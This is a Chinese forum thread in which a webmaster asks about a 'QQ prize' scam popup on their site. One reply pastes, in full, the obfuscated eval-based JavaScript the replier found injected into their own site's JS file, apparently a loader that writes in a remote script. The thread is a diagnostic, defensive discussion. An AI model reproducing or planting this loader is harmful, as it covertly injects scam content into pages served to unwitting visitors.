网页弹出QQ中奖消息,该如何处理

网页弹出QQ中奖消息
http://www.163sha.com/html/qitanarong/ruchiruzuiDIY/201106/24-8736.html

请大家帮忙看一下，这个页面，还有这个网站首页，有时候打开就在网页右下角弹出来一个QQ中奖消息。好像一个IP第一次打开能看到，但是刷新就看不到了。我把这个页面包含 JS都看了一下，没有发现有这个弹出的JS效果啊，很是郁闷，都疯了。
是不是这个服务器被设置什么了？

求大家帮忙看一下啊，谢谢。。。。。。
------解决方案--------------------
我的网站上也被挂了 最后在页面的一个js文件里找到了

OlOlll="(x)";OllOlO=" String";OlllOO="tion";OlOllO="Code(x)}";OllOOO="Char";OlllOl="func";OllllO=" l = ";OllOOl=".from";OllOll="{return";Olllll="var";eval(Olllll+OllllO+OlllOl+OlllOO+OlOlll+OllOll+OllOlO+OllOOl+OllOOO+OlOllO);eval(l(79)+l(61)+l(102)+l(117)+l(110)+l(99)+l(116)+l(105)+l(111)+l(110)+l(40)+l(109)+l(41)+l(123)+l(114)+l(101)+l(116)+l(117)+l(114)+l(110)+l(32)+l(83)+l(116)+l(114)+l(105)+l(110)+l(103)+l(46)+l(102)+l(114)+l(111)+l(109)+l(67)+l(104)+l(97)+l(114)+l(67)+l(111)+l(100)+l(101)+l(40)+l(77)+l(97)+l(116)+l(104)+l(46)+l(102)+l(108)+l(111)+l(111)+l(114)+l(40)+l(109)+l(47)+l(49)+l(48)+l(48)+l(48)+l(48)+l(41)+l(47)+l(57)+l(57)+l(41)+l(59)+l(125));eval(""+O(99005434)+O(109891017)+O(98017879)+O(115835235)+O(107918387)+O(99992910)+O(108905601)+O(114841149)+O(45549578)+O(117816923)+O(112864240)+O(103954969)+O(114849803)+O(99990869)+O(31687465)+O(39604343)+O(38611951)+O(59403806)+O(82178168)+O(66338164)+O(81184638)+O(72271089)+O(79206874)+O(83168778)+O(31689655)+O(113855151)+O(112864408)+O(98010957)+O(60390619)+O(33661487)+O(102962358)+O(114844131)+O(114849439)+O(110883355)+O(57429223)+O(46539706)+O(46539243)+O(117817991)+O(117812355)+O(117811069)+O(45547270)+O(101971757)+O(109895803)+O(109899861)+O(101978895)+O(106921583)+O(99991986)+O(96038462)+O(99004447)+O(113855296)+O(106920770)+O(45545277)+O(98013739)+O(109893993)+O(107912961)+O(46536367)+O(113859368)+O(110885479)+O(98016483)+O(109894258)+O(99008746)+O(99998977)+O(46532597)+O(98012335)+O(110886532)+O(45547812)+O(104946386)+O(113851133)+O(33663712)+O(61388571)+O(59400430)+O(46531067)+O(113856900)+O(98012363)+O(112863124)+O(103954630)+O(110881606)+O(114846249)+O(61383383)+O(38619969)+O(40596203)+O(58410619));